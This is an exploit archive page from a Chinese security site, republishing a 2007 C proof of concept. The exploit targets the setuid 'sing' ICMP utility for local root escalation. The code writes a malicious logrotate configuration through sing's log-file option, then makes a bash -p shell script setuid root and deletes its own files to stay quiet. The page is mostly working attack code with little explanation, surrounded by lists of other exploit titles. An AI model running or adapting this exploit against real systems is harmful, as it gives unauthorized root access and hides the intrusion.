首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Send ICMP Nasty Garbage (sing) Append File Logrotate Exploit
来源:www.vfocus.net 作者:bannedit 发布时间:2007-12-07  
/*
sing file append exploit
by bannedit

12/05/2007

The original reporter of this issue included an example session which
added an account to the machine.

The method for this exploit is slightly different and much more
quiet. Although it relies upon logrotate for help.

This could easily be modified to work with cron daemons which
are not too strict about the cron file format. However,
when I tested vixie cron it appears that there are
better checks for file format compilance these days.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SING_PATH "/usr/bin/sing"

char *file = "/etc/logrotate.d/sing";
char *evilname = "\n/tmp/sing {\n    daily\n    size=0\n    firstaction\n        chown root /tmp/shell; chmod 4755 /tmp/shell; rm -f /etc/logrotate.d/sing; rm -f /tmp/sing*\n    endscript\n}\n\n\n";



int main()
{
FILE *fp;
int pid;

        puts("sing file append exploit");
        puts("------------------------");
        puts("by bannedit");

        if(fp = fopen("/tmp/shell", "w+"))
        {
           fputs("#!/bin/bash\n", fp);
           fputs("/bin/bash -p", fp);
           fclose(fp);
           system("touch /tmp/sing; echo garbage >> /tmp/sing");
        }
        else
        {
           puts("error making shell file");
           exit(-1);
        }

        sleep(5);
        printf("done sleeping...\n");
        execl(SING_PATH, evilname, "-Q", "-c", "1", "-L", file, "localhost", 0);
        return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cisco Phone 7940 Remote Denial
·Media Player Classic 6.4.9 MP4
·Apple Mac OS X 10.5.0 (leopard
·Windows Media Player 6.4 MP4 F
·Apple Mac OS X xnu <= 1228.0 L
·Nullsoft Winamp 5.32 MP4 tags
·VLC 0.86 < 0.86d ActiveX Remot
·MonAlbum 0.87 Upload Shell / P
·RealPlayer 11 Malformed AU Fil
·Online Media Technologies AVSM
·Windows Media Player AIFF Divi
·Simple HTTPD 1.3 (/aux) Remote
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved